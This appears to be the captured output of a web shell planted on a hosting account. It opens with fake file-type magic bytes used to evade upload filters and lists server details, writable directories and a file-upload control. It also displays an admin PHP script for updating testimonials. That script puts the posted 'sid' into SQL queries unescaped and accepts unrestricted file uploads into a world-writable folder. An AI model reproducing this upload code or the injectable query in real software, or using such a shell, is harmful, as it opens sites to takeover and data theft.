%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/testimonialupdatedata.php
<?php
include('../dbcon.php');

error_reporting(E_ALL);
ini_set('display_errors', 1);

$id = $_POST['sid'] ?? '';

if (empty($id)) {
    die("ID missing");
}

$name = mysqli_real_escape_string($conn, $_POST['name']);
$designation = mysqli_real_escape_string($conn, $_POST['designation']);
$content = mysqli_real_escape_string($conn, $_POST['content']);

if (!empty($_FILES['gallery']['name'])) {

    $galleryname = time() . '_' . $_FILES['gallery']['name'];
    $tempname = $_FILES['gallery']['tmp_name'];

    $upload_dir = "./dataimg/";
    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0777, true);
    }

    $upload_path = $upload_dir . $galleryname;

    if (move_uploaded_file($tempname, $upload_path)) {

        $qry = "UPDATE testimonial SET 
                name='$name',
                designation='$designation',
                content='$content',
                image_gallery='$galleryname'
                WHERE id='$id'";

    } else {
        die("Image upload failed");
    }

} else {

    $qry = "UPDATE testimonial SET 
            name='$name',
            designation='$designation',
            content='$content'
            WHERE id='$id'";
}

$run = mysqli_query($conn, $qry);

if (!$run) {
    die("MYSQL ERROR: " . mysqli_error($conn));
}

echo "<script>
    alert('Updated Successfully');
    window.location.href='testimonialshow.php';
</script>";

VaKeR 2022